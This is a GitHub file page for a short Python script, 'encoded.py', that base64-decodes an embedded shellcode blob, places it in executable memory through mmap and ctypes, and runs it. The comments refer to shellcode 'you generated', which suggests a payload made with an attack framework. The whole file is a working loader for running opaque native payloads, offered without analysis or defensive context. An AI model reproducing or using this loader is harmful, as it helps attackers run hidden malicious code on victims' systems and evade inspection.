-
Notifications
You must be signed in to change notification settings - Fork 11
/
encoded.py
34 lines (25 loc) · 1.16 KB
/
encoded.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
import base64
import mmap
import ctypes
# Base64-encoded shellcode (the one you generated)
encoded_shellcode = "SDHJSIHp9////0iNBe////9Iu6ajGtSlB5bkSDFYJ0gt+P///+L07hs1tsxpuZfOo4OE8VjEgs6OeYD7VX75pqMa+81o+4GJ03LnlnW5rfXrX5jpKuDUiJE1vdZv8uTw9E6KzzzO66OjGtSlB5bk"
# Function to decode and execute the shellcode
def execute_shellcode(encoded_shellcode):
# Ensure padding (if needed)
encoded_shellcode = encoded_shellcode.strip()
# Decode the shellcode from base64
shellcode = base64.b64decode(encoded_shellcode)
# Create RWX memory using mmap
shellcode_size = len(shellcode)
mem = mmap.mmap(-1, shellcode_size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
# Write the shellcode into the mmap'd memory
mem.write(shellcode)
# Get the address of the mmap'd memory and cast to a function pointer
addr = ctypes.addressof(ctypes.c_char.from_buffer(mem))
shell_func = ctypes.CFUNCTYPE(None)(addr)
print("Executing shellcode...")
# Execute the shellcode
shell_func()
# Execute the shellcode after decoding the Base64 string
execute_shellcode(encoded_shellcode)